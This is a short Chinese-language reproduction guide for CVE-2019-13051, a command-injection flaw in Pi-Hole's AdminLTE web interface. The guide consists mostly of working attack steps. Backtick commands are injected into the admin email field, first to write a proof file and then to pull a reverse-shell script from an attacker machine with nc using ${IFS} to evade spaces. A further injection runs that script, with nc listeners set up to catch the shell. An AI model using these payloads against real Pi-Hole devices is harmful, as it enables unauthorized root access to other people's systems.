（CVE-2019-13051）Pi-Hole_远程代码执行漏洞

# （CVE-2019-13051）Pi-Hole 远程代码执行漏洞

==

一、漏洞简介
————

通过描述的”AdminLTE”组件上的漏洞，可以远程获得RaspberyPi设备（或应用程序正在运行的任何设备/VM）上的根访问权限。要利用此漏洞，需要对AdminLTE
web界面的管理访问权限凭据。

二、漏洞影响
————

Pi-Hole \< 4.3.2 三、复现过程 ------------ 在管理员邮箱处添加 "`test>/tmp/poc_proof.txt`”@0-sec.org


由于该系统设定原因，需等待十分钟后，即可发现`/tmp/poc_proof.txt`
已经被创建


### 深入利用

现在攻击机上执行反弹shell命令

nc -nvlp 4444 < revshell.py 在管理邮箱处执行反弹shell代码 "`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`”@0-sec.org


我们可以看到http请求如下所示


随后等待十分钟，查看是否执行成功

在确保执行成功后，继续执行nc反弹shell命令

nc -nvlp 4445

最后，再向网站执行反弹shell命令

“`python${IFS}/tmp/revshell.py`”@0-sec.org

等待十分钟后，查看回显结果